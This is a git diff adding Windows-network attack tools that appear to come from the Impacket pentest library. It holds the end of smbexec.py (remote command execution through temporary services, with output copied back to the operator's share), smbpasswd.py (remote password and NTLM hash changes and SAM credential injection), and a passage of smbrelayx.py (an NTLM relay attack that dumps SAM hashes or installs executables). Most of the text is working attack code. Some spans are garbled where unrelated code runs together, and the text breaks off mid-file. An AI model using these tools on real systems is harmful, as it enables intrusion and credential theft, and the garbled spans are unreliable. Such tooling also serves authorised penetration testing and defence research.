self.__scmr = rpc.get_dce_rpc() + try: + self.__scmr.connect() + except Exception as e: + logging.critical(str(e)) + sys.exit(1) + + s = rpc.get_smb_connection() + + # We don't wanna deal with timeouts from now on. + s.setTimeout(100000) + if mode == 'SERVER': + myIPaddr = s.getSMBServer().get_socket().getsockname()[0] + self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE) + + self.__scmr.bind(scmr.MSRPC_UUID_SCMR) + resp = scmr.hROpenSCManagerW(self.__scmr) + self.__scHandle = resp['lpScHandle'] + self.transferClient = rpc.get_smb_connection() + self.do_cd('') + + def finish(self): + # Just in case the service is still created + try: + self.__scmr = self.__rpc.get_dce_rpc() + self.__scmr.connect() + self.__scmr.bind(scmr.MSRPC_UUID_SCMR) + resp = scmr.hROpenSCManagerW(self.__scmr) + self.__scHandle = resp['lpScHandle'] + resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName) + service = resp['lpServiceHandle'] + scmr.hRDeleteService(self.__scmr, service) + scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) + scmr.hRCloseServiceHandle(self.__scmr, service) + except scmr.DCERPCException: + pass + + def do_shell(self, s): + os.system(s) + + def do_exit(self, s): + return True + + def do_EOF(self, s): + print() + return self.do_exit(s) + + def emptyline(self): + return False + + def do_cd(self, s): + # We just can't CD or maintain track of the target dir. + if len(s) > 0: + logging.error("You can't CD under SMBEXEC. Use full paths.") + + self.execute_remote('cd ' ) + if len(self.__outputBuffer) > 0: + # Stripping CR/LF + self.prompt = self.__outputBuffer.decode().replace('\r\n','') + '>' + if self.__shell_type == 'powershell': + self.prompt = 'PS ' + self.prompt + ' ' + self.__outputBuffer = b'' + + def do_CD(self, s): + return self.do_cd(s) + + def default(self, line): + if line != '': + self.send_data(line) + + def get_output(self): + def output_callback(data): + self.__outputBuffer += data + + if self.__mode == 'SHARE': + self.transferClient.getFile(self.__share, OUTPUT_FILENAME, output_callback) + self.transferClient.deleteFile(self.__share, OUTPUT_FILENAME) + else: + fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r') + output_callback(fd.read()) + fd.close() + os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME) + + def execute_remote(self, data, shell_type='cmd'): + if shell_type == 'powershell': + data = '$ProgressPreference="SilentlyContinue";' + data + data = self.__pwsh + b64encode(data.encode('utf-16le')).decode() + + command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + \ + self.__shell + self.__batchFile + + if self.__mode == 'SERVER': + command += ' & ' + self.__copyBack + command += ' & ' + 'del ' + self.__batchFile + + logging.debug('Executing %s' % command) + resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, + lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START) + service = resp['lpServiceHandle'] + + try: + scmr.hRStartServiceW(self.__scmr, service) + except: + pass + scmr.hRDeleteService(self.__scmr, service) + scmr.hRCloseServiceHandle(self.__scmr, service) + self.get_output() + + def send_data(self, data): + self.execute_remote(data, self.__shell_type) + try: + print(self.__outputBuffer.decode(CODEC)) + except UnicodeDecodeError: + logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' + 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute smbexec.py ' + 'again with -codec and the corresponding codec') + print(self.__outputBuffer.decode(CODEC, errors='replace')) + self.__outputBuffer = b'' + + +# Process command-line arguments. +if __name__ == '__main__': + print(version.BANNER) + + parser = argparse.ArgumentParser() + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-share', action='store', default = 'C$', help='share where the output will be grabbed from ' + '(default C$)') + parser.add_argument('-mode', action='store', choices = {'SERVER','SHARE'}, default='SHARE', + help='mode to use (default SHARE, SERVER needs root!)') + parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' + '"%s"). If errors are detected, run chcp.com at the target, ' + 'map the result with ' + 'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbexec.py ' + 'again with -codec and the corresponding codec ' % CODEC) + parser.add_argument('-shell-type', action='store', default = 'cmd', choices = ['cmd', 'powershell'], help='choose ' + 'a command processor for the semi-interactive shell') + + group = parser.add_argument_group('connection') + + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. ' + 'If omitted it will use the domain part (FQDN) specified in the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If ' + 'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS ' + 'name and you cannot resolve it') + group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", + help='Destination port to connect to SMB Server') + group.add_argument('-service-name', action='store', metavar="service_name", default = SERVICE_NAME, help='The name of the' + 'service used to trigger the payload') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') + + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + if options.codec is not None: + CODEC = options.codec + else: + if CODEC is None: + CODEC = 'utf-8' + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, remoteName = parse_target(options.target) + + if domain is None: + domain = '' + + if options.keytab is not None: + Keytab.loadKeysFromKeytab (options.keytab, username, domain, options) + options.k = True + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.target_ip is None: + options.target_ip = remoteName + + if options.aesKey is not None: + options.k = True + + try: + executer = CMDEXEC(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, + options.mode, options.share, int(options.port), options.service_name, options.shell_type) + executer.run(remoteName, options.target_ip) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.critical(str(e)) + sys.exit(0) diff --git a/examples/smbpasswd.py b/examples/smbpasswd.py new file mode 100644 index 0000000..41151b7 --- /dev/null +++ b/examples/smbpasswd.py @@ -0,0 +1,281 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# This script is an alternative to smbpasswd tool and intended to be used +# for changing passwords remotely over SMB (MSRPC-SAMR). It can perform the +# password change when the current password is expired, and supports NTLM +# hashes as a new password value instead of a plaintext value. As for the +# latter approach the new password is flagged as expired after the change +# due to how SamrChangePasswordUser function works. +# +# Examples: +# smbpasswd.py j.doe@192.168.1.11 +# smbpasswd.py contoso.local/j.doe@DC1 -hashes :fc525c9683e8fe067095ba2ddc971889 +# smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' +# smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb +# smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' -altuser administrator -altpass 'Adm1nPassw0rd!' +# smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb -altuser CONTOSO/administrator -altpass 'Adm1nPassw0rd!' -admin +# smbpasswd.py SRV01/administrator:'Passw0rd!'@10.10.13.37 -newhashes :126502da14a98b58f2c319b81b3a49cb -altuser CONTOSO/SrvAdm -althash 6fe945ead39a7a6a2091001d98a913ab +# +# Author: +# @snovvcrash +# @bransh +# @alefburzmali +# +# References: +# https://snovvcrash.github.io/2020/10/31/pretending-to-be-smbpasswd-with-impacket.html +# https://www.n00py.io/2021/09/resetting-expired-passwords-remotely/ +# https://github.com/samba-team/samba/blob/master/source3/utils/smbpasswd.c +# https://github.com/SecureAuthCorp/impacket/pull/381 +# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/acb3204a-da8b-478e-9139-1ea589edb880 +# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/9699d8ca-e1a4-433c-a8c3-d7bebeb01476 +# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/538222f7-1b89-4811-949a-0eac62e38dce +# + +import sys +import logging +from getpass import getpass +from argparse import ArgumentParser + +from impacket import version +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket.dcerpc.v5 import transport, samr + + +class SMBPasswd: + + def __init__(self, address, domain='', username='', oldPassword='', newPassword='', oldPwdHashLM='', oldPwdHashNT='', newPwdHashLM='', newPwdHashNT=''): + self.address = address + self.domain = domain + self.username = username + self.oldPassword = oldPassword + self.newPassword = newPassword + self.oldPwdHashLM = oldPwdHashLM + self.oldPwdHashNT = oldPwdHashNT + self.newPwdHashLM = newPwdHashLM + self.newPwdHashNT = newPwdHashNT + self.dce = None + + def connect(self, domain='', username='', password='', nthash='', anonymous=False): + rpctransport = transport.SMBTransport(self.address, filename=r'\samr') + if anonymous: + rpctransport.set_credentials(username='', password='', domain='', lmhash='', nthash='', aesKey='') + elif username != '': + lmhash = '' + rpctransport.set_credentials(username, password, domain, lmhash, nthash, aesKey='') + else: + rpctransport.set_credentials(self.username, self.oldPassword, self.domain, self.oldPwdHashLM, self.oldPwdHashNT, aesKey='') + + self.dce = rpctransport.get_dce_rpc() + self.dce.connect() + self.dce.bind(samr.MSRPC_UUID_SAMR) + + def hSamrUnicodeChangePasswordUser2(self): + try: + resp = samr.hSamrUnicodeChangePasswordUser2(self.dce, '\x00', self.username, self.oldPassword, self.newPassword, self.oldPwdHashLM, self.oldPwdHashNT) + except Exception as e: + if 'STATUS_PASSWORD_RESTRICTION' in str(e): + logging.critical('Some password update rule has been violated. For example, the password may not meet length criteria.') + else: + raise e + else: + if resp['ErrorCode'] == 0: + logging.info('Password was changed successfully.') + else: + logging.error('Non-zero return code, something weird happened.') + resp.dump() + + def hSamrChangePasswordUser(self): + try: + serverHandle = samr.hSamrConnect(self.dce, self.address + '\x00')['ServerHandle'] + domainSID = samr.hSamrLookupDomainInSamServer(self.dce, serverHandle, self.domain)['DomainId'] + domainHandle = samr.hSamrOpenDomain(self.dce, serverHandle, domainId=domainSID)['DomainHandle'] + userRID = samr.hSamrLookupNamesInDomain(self.dce, domainHandle, (self.username,))['RelativeIds']['Element'][0] + userHandle = samr.hSamrOpenUser(self.dce, domainHandle, userId=userRID)['UserHandle'] + except Exception as e: + if 'STATUS_NO_SUCH_DOMAIN' in str(e): + logging.critical('Wrong realm. Try to set the domain name for the target user account explicitly in format DOMAIN/username.') + return + else: + raise e + + try: + resp = samr.hSamrChangePasswordUser(self.dce, userHandle, self.oldPassword, newPassword='', oldPwdHashNT=self.oldPwdHashNT, + newPwdHashLM=self.newPwdHashLM, newPwdHashNT=self.newPwdHashNT) + except Exception as e: + if 'STATUS_PASSWORD_RESTRICTION' in str(e): + logging.critical('Some password update rule has been violated. For example, the password history policy may prohibit the use of recent passwords.') + else: + raise e + else: + if resp['ErrorCode'] == 0: + logging.info('NTLM hashes were changed successfully.') + else: + logging.error('Non-zero return code, something weird happened.') + resp.dump() + + def hSamrSetInformationUser(self): + try: + serverHandle = samr.hSamrConnect(self.dce, self.address + '\x00')['ServerHandle'] + domainSID = samr.hSamrLookupDomainInSamServer(self.dce, serverHandle, self.domain)['DomainId'] + domainHandle = samr.hSamrOpenDomain(self.dce, serverHandle, domainId=domainSID)['DomainHandle'] + userRID = samr.hSamrLookupNamesInDomain(self.dce, domainHandle, (self.username,))['RelativeIds']['Element'][0] + userHandle = samr.hSamrOpenUser(self.dce, domainHandle, userId=userRID)['UserHandle'] + except Exception as e: + if 'STATUS_NO_SUCH_DOMAIN' in str(e): + logging.critical('Wrong realm. Try to set the domain name for the target user account explicitly in format DOMAIN/username.') + return + else: + raise e + try: + resp = samr.hSamrSetNTInternal1(self.dce, userHandle, self.newPassword, self.newPwdHashNT) + except Exception as e: + raise e + else: + if resp['ErrorCode'] == 0: + logging.info('Credentials were injected into SAM successfully.') + else: + logging.error('Non-zero return code, something weird happened.') + resp.dump() + + +def init_logger(options): + logger.init(options.ts) + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + +def parse_args(): + parser = ArgumentParser(description='Change password over SMB.') + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='turn DEBUG output ON') + + group = parser.add_mutually_exclusive_group() + group.add_argument('-newpass', action='store', default=None, help='new SMB password') + group.add_argument('-newhashes', action='store', default=None, metavar='LMHASH:NTHASH', help='new NTLM hashes, format is LMHASH:NTHASH ' + '(the user will be asked to change their password at next logon)') + + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', action='store', default=None, metavar='LMHASH:NTHASH', help='NTLM hashes, format is LMHASH:NTHASH') + + group = parser.add_argument_group('RPC authentication') + group.add_argument('-altuser', action='store', default=None, help='alternative username') + group.add_argument('-altpass', action='store', default=None, help='alternative password') + group.add_argument('-althash', action='store', default=None, help='alternative NT hash') + + group = parser.add_argument_group('set credentials method') + group.add_argument('-admin', action='store_true', help='injects credentials into SAM (requires admin\'s priveleges on a machine, ' + 'but can bypass password history policy)') + + return parser.parse_args() + + +if __name__ == '__main__': + print(version.BANNER) + + options = parse_args() + init_logger(options) + + domain, username, oldPassword, address = parse_target(options.target) + + if domain is None: + domain = 'Builtin' + + if options.hashes is not None: + try: + oldPwdHashLM, oldPwdHashNT = options.hashes.split(':') + except ValueError: + logging.critical('Wrong hashes string format. For more information run with --help option.') + sys.exit(1) + else: + oldPwdHashLM = '' + oldPwdHashNT = '' + + if oldPassword == '' and oldPwdHashNT == '' and not options.admin: + oldPassword = getpass('Current SMB password: ') + + if options.newhashes is not None: + try: + newPwdHashLM, newPwdHashNT = options.newhashes.split(':') + except ValueError: + logging.critical('Wrong new hashes string format. For more information run with --help option.') + sys.exit(1) + newPassword = '' + else: + newPwdHashLM = '' + newPwdHashNT = '' + if options.newpass is None: + newPassword = getpass('New SMB password: ') + if newPassword != getpass('Retype new SMB password: '): + logging.critical('Passwords do not match, try again.') + sys.exit(1) + else: + newPassword = options.newpass + + smbpasswd = SMBPasswd(address, domain, username, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT) + + if options.altuser is not None: + try: + altDomain, altUsername = options.altuser.split('/') + except ValueError: + altDomain = domain + altUsername = options.altuser + + if options.altpass is not None and options.althash is None: + altPassword = options.altpass + altNTHash = '' + elif options.altpass is None and options.althash is not None: + altPassword = '' + altNTHash = options.althash + elif options.altpass is None and options.althash is None: + logging.critical('Please, provide either alternative password or NT hash for RPC authentication.') + sys.exit(1) + else: # if options.altpass is not None and options.althash is not None + logging.critical('Argument -altpass not allowed with argument -althash.') + sys.exit(1) + else: + altUsername = '' + + try: + if altUsername == '': + smbpasswd.connect() + else: + logging.debug('Using {}\\{} credentials to connect to RPC.'.format(altDomain, altUsername)) + smbpasswd.connect(altDomain, altUsername, altPassword, altNTHash) + except Exception as e: + if any(msg in str(e) for msg in ['STATUS_PASSWORD_MUST_CHANGE', 'STATUS_PASSWORD_EXPIRED']): + if newPassword: + logging.warning('Password is expired, trying to bind with a null session.') + smbpasswd.connect(anonymous=True) + else: + logging.critical('Cannot set new NTLM hashes when current password is expired. Provide a plaintext value for the new password.') + sys.exit(1) + elif 'STATUS_LOGON_FAILURE' in str(e): + logging.critical('Authentication failure.') + sys.exit(1) + else: + raise e + + if options.admin: + # Inject credentials into SAM (requires admin's privileges) + smbpasswd.hSamrSetInformationUser() + else: + if newPassword: + # If using a plaintext value for the new password + smbpasswd.hSamrUnicodeChangePasswordUser2() + else: + # If using NTLM hashes for the new password + smbpasswd.hSamrChangePasswordUser() diff --git a/examples/smbrelayx.py b/examples/smbrelayx.py new file mode 100644 index 0000000..4ce1893 --- /dev/null +++ b/examples/smbrelayx.py @@ -0,0 +1,1221 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# SMB Relay Module +# This module performs the SMB Relay attacks originally discovered +# by cDc. It receives a list of targets and for every connection received it +# will choose the next target and try to relay the credentials. Also, if +# specified, it will first to try authenticate against the client connecting +# to us. +# +# It is implemented by invoking a SMB and HTTP Server, hooking to a few +# functions and then using the smbclient portion. It is supposed to be +# working on any LM Compatibility level. The only way to stop this attack +# is to enforce on the server SPN checks and or signing. +# +# If the target system is enforcing signing and a machine account was provided, +# the module will try to gather the SMB session key through +# NETLOGON (CVE-2015-0005). +# +# If the authentication against the targets succeed, the client authentication +# success as well and a valid connection is set against the local smbserver. +# It's up to the user to set up the local smbserver functionality. One option +# is to set up shares with whatever files you want to the victim thinks it's +# connected to a valid SMB server. All that is done through the smb.conf file or +# programmatically. +# +# Author: +# Alberto Solino (@agsolino) +# + +from __future__ import division +from __future__ import print_function +try: + import ConfigParser +except ImportError: + import configparser as ConfigParser +import http.server +import socketserver +import argparse +import base64 +import logging +import os +import sys +try: + from urllib.parse import urlparse +except ImportError: + from urlparse import urlparse +from binascii import unhexlify, hexlify +from struct import pack, unpack +from threading import Thread +from six import PY2 + +from impacket import version +from impacket.dcerpc.v5 import nrpc +from impacket.dcerpc.v5 import transport +from impacket.dcerpc.v5.ndr import NULL +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.examples import logger +from impacket.examples import serviceinstall +from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections, SOCKS +from impacket.examples.ntlmrelayx.clients.smbrelayclient import SMBRelayClient +from impacket.nt_errors import ERROR_MESSAGES +from impacket.nt_errors import STATUS_LOGON_FAILURE, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NOT_SUPPORTED, \ + STATUS_MORE_PROCESSING_REQUIRED +from impacket.ntlm import NTLMAuthChallengeResponse, NTLMAuthNegotiate, NTLMAuthChallenge, AV_PAIRS, \ + NTLMSSP_AV_HOSTNAME, generateEncryptedSessionKey +from impacket.smb import NewSMBPacket, SMBCommand, SMB, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Extended_Data, \ + SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Extended_Response_Data, \ + SMBSessionSetupAndX_Parameters, SMBSessionSetupAndX_Extended_Parameters, TypesMech, \ + SMBSessionSetupAndXResponse_Parameters, SMBSessionSetupAndXResponse_Data +from impacket.smb3 import SMB3 +from impacket.smbconnection import SMBConnection +from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile, SMBSERVER +from impacket.spnego import ASN1_AID, SPNEGO_NegTokenResp, SPNEGO_NegTokenInit + +try: + from Cryptodome.Cipher import DES, AES, ARC4 +except Exception: + logging.critical("Warning: You don't have any crypto installed. You need pycryptodomex") + logging.critical("See https://pypi.org/project/pycryptodomex/") + +# Global Variables +# This is the list of hosts that have been attacked already in case -one-shot was chosen +ATTACKED_HOSTS = set() +CODEC = sys.getdefaultencoding() + +class doAttack(Thread): + def __init__(self, SMBClient, exeFile, command): + Thread.__init__(self) + + if isinstance(SMBClient, SMB) or isinstance(SMBClient, SMB3): + self.__SMBConnection = SMBConnection(existingConnection = SMBClient) + else: + self.__SMBConnection = SMBClient + + self.__exeFile = exeFile + self.__command = command + self.__answerTMP = b'' + if exeFile is not None: + self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile) + + def __answer(self, data): + self.__answerTMP += data + + def run(self): + # Here PUT YOUR CODE! + global ATTACKED_HOSTS + if self.__exeFile is not None: + result = self.installService.install() + if result is True: + logging.info("Service Installed.. CONNECT!") + self.installService.uninstall() + else: + ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) + else: + from impacket.examples.secretsdump import RemoteOperations, SAMHashes + samHashes = None + try: + # We have to add some flags just in case the original client did not + # Why? needed for avoiding INVALID_PARAMETER + flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() + flags2 |= SMB.FLAGS2_LONG_NAMES + self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) + + remoteOps = RemoteOperations(self.__SMBConnection, False) + remoteOps.enableRegistry() + except Exception as e: + logging.debug('Exception:', exc_info=True) + # Something wen't wrong, most probably we don't have access as admin. aborting + logging.error(str(e)) + ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) + return + + try: + if self.__command is not None: + remoteOps._RemoteOperations__executeRemote(self.__command) + logging.info("Executed specified command on host: %s" % self.__SMBConnection.getRemoteHost()) + self.__answerTMP = b'' + self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) + logging.debug('Raw answer %r' % self.__answerTMP) + + try: + print(self.__answerTMP.decode(CODEC)) + except UnicodeDecodeError: + logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' + 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute smbrelayx.py ' + 'again with -codec and the corresponding codec') + print(self.__answerTMP) + + self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') + else: + bootKey = remoteOps.getBootKey() + remoteOps._RemoteOperations__serviceDeleted = True + samFileName = remoteOps.saveSAM() + samHashes = SAMHashes(samFileName, bootKey, isRemote = True) + samHashes.dump() + logging.info("Done dumping SAM hashes for host: %s" % self.__SMBConnection.getRemoteHost()) + except Exception as e: + logging.debug('Exception:', exc_info=True) + ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) + logging.error(str(e)) + finally: + if samHashes is not None: + samHashes.finish() + if remoteOps is not None: + remoteOps.finish() + try: + ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) + except Exception as e: + logging.error(str(e)) + pass + + +class SMBClient(SMB): + def __init__(self, remote_name, extended_security = True, sess_port = 445): + self._extendedSecurity = extended_security + self.domainIp = None + self.machineAccount = None + self.machineHashes = None + + SMB.__init__(self,remote_name, remote_name, sess_port = sess_port) + + def neg_session(self): + neg_sess = SMB.neg_session(self, extended_security = self._extendedSecurity) + return neg_sess + + def setUid(self,uid): + self._uid = uid + + def login_standard(self, user, domain, ansiPwd, unicodePwd): + smb = NewSMBPacket() + smb['Flags1'] = 8 + + sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) + sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters() + sessionSetup['Data'] = SMBSessionSetupAndX_Data() + + sessionSetup['Parameters']['MaxBuffer'] = 65535 + sessionSetup['Parameters']['MaxMpxCount'] = 2 + sessionSetup['Parameters']['VCNumber'] = os.getpid() + sessionSetup['Parameters']['SessionKey'] = self._dialects_parameters['SessionKey'] + sessionSetup['Parameters']['AnsiPwdLength'] = len(ansiPwd) + sessionSetup['Parameters']['UnicodePwdLength'] = len(unicodePwd) + sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE + + sessionSetup['Data']['AnsiPwd'] = ansiPwd + sessionSetup['Data']['UnicodePwd'] = unicodePwd + sessionSetup['Data']['Account'] = user + sessionSetup['Data']['PrimaryDomain'] = domain + sessionSetup['Data']['NativeOS'] = 'Unix' + sessionSetup['Data']['NativeLanMan'] = 'Samba' + + smb.addCommand(sessionSetup) + + self.sendSMB(smb) + smb = self.recvSMB() + try: + smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) + except: + logging.error("Error login_standard") + return None, STATUS_LOGON_FAILURE + else: + self._uid = smb['Uid'] + return smb, STATUS_SUCCESS + + def setDomainAccount( self, machineAccount, machineHashes, domainIp): + self.machineAccount = machineAccount + self.machineHashes = machineHashes + self.domainIp = domainIp + if self._SignatureRequired is True: + if self.domainIp is None: + logging.error("Signature is REQUIRED on the other end, attack will not work") + else: + logging.info("Signature is REQUIRED on the other end, using NETLOGON approach") + + + def netlogonSessionKey(self, challenge, authenticateMessageBlob): + # Here we will use netlogon to get the signing session key + logging.info("Connecting to %s NETLOGON service" % self.domainIp) + + respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) + authenticateMessage = NTLMAuthChallengeResponse() + authenticateMessage.fromString(respToken2['ResponseToken'] ) + _, machineAccount = self.machineAccount.split('/') + domainName = authenticateMessage['domain_name'].decode('utf-16le') + + try: + av_pairs = authenticateMessage['ntlm'][44:] + av_pairs = AV_PAIRS(av_pairs) + + serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') + except: + logging.debug("Exception:", exc_info=True) + # We're in NTLMv1, not supported + return STATUS_ACCESS_DENIED + + stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.domainIp + + rpctransport = transport.DCERPCTransportFactory(stringBinding) + + if len(self.machineHashes) > 0: + lmhash, nthash = self.machineHashes.split(':') + else: + lmhash = '' + nthash = '' + + if hasattr(rpctransport, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpctransport.set_credentials(machineAccount,'', domainName, lmhash, nthash) + + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(nrpc.MSRPC_UUID_NRPC) + resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', '12345678') + + serverChallenge = resp['ServerChallenge'] + + if self.machineHashes == '': + ntHash = None + else: + ntHash = unhexlify(self.machineHashes.split(':')[1]) + + sessionKey = nrpc.ComputeSessionKeyStrongKey('', '12345678', serverChallenge, ntHash) + + ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey) + + nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00', + nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', + ppp, 0x600FFFFF) + + clientStoredCredential = pack('=0 or message.find('RPC_IN'): + return self.do_GET() + return http.server.SimpleHTTPRequestHandler.send_error(self,code,message) + + def do_GET(self): + messageType = 0 + if PY2: + authorizationHeader = self.headers.getheader('Authorization') + else: + authorizationHeader = self.headers.get('Authorization') + + if authorizationHeader is None: + self.do_AUTHHEAD(message = b'NTLM') + pass + else: + #self.do_AUTHHEAD() + typeX = authorizationHeader + try: + _, blob = typeX.split('NTLM') + token = base64.b64decode(blob.strip()) + except: + self.do_AUTHHEAD() + messageType = unpack('> 16 + packet['ErrorClass'] = errorCode & 0xff + + return None, [packet], STATUS_NOT_SUPPORTED + else: + logging.info("SMBD: Received connection from %s, attacking target %s" % (connData['ClientIP'] ,self.target)) + + try: + if recvPacket['Flags2'] & SMB.FLAGS2_EXTENDED_SECURITY == 0: + extSec = False + else: + if self.mode.upper() == 'REFLECTION': + # Force standard security when doing reflection + logging.info("Downgrading to standard security") + extSec = False + recvPacket['Flags2'] += (~SMB.FLAGS2_EXTENDED_SECURITY) + else: + extSec = True + client = SMBClient(self.target, extended_security = extSec) + client.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp) + client.set_timeout(60) + except Exception as e: + logging.error("Connection against target %s FAILED" % self.target) + logging.error(str(e)) + else: + encryptionKey = client.get_encryption_key() + smbData[self.target] = {} + smbData[self.target]['SMBClient'] = client + if encryptionKey is not None: + connData['EncryptionKey'] = encryptionKey + smbServer.setConnectionData('SMBRelay', smbData) + smbServer.setConnectionData(connId, connData) + return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket) + ############################################################# + + def SmbSessionSetupAndX(self, connId, smbServer, smbCommand, recvPacket): + + connData = smbServer.getConnectionData(connId, checkStatus = False) + ############################################################# + # SMBRelay + smbData = smbServer.getConnectionData('SMBRelay', False) + ############################################################# + + respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) + global ATTACKED_HOSTS + + if connData['_dialects_parameters']['Capabilities'] & SMB.CAP_EXTENDED_SECURITY: + # Extended security. Here we deal with all SPNEGO stuff + respParameters = SMBSessionSetupAndX_Extended_Response_Parameters() + respData = SMBSessionSetupAndX_Extended_Response_Data() + sessionSetupParameters = SMBSessionSetupAndX_Extended_Parameters(smbCommand['Parameters']) + sessionSetupData = SMBSessionSetupAndX_Extended_Data() + sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] + sessionSetupData.fromString(smbCommand['Data']) + connData['Capabilities'] = sessionSetupParameters['Capabilities'] + + if unpack('B',sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID: + # If there no GSSAPI ID, it must be an AUTH packet + blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) + token = blob['ResponseToken'] + else: + # NEGOTIATE packet + blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) + token = blob['MechToken'] + + # Here we only handle NTLMSSP, depending on what stage of the + # authentication we are, we act on it + messageType = unpack('> 16 + packet['ErrorClass'] = errorCode & 0xff + + return None, [packet], STATUS_NOT_SUPPORTED + + # It might happen if the target connects back before a previous connection has finished, we might + # get to this function w/o having the dict and smbClient entry created, because a + # 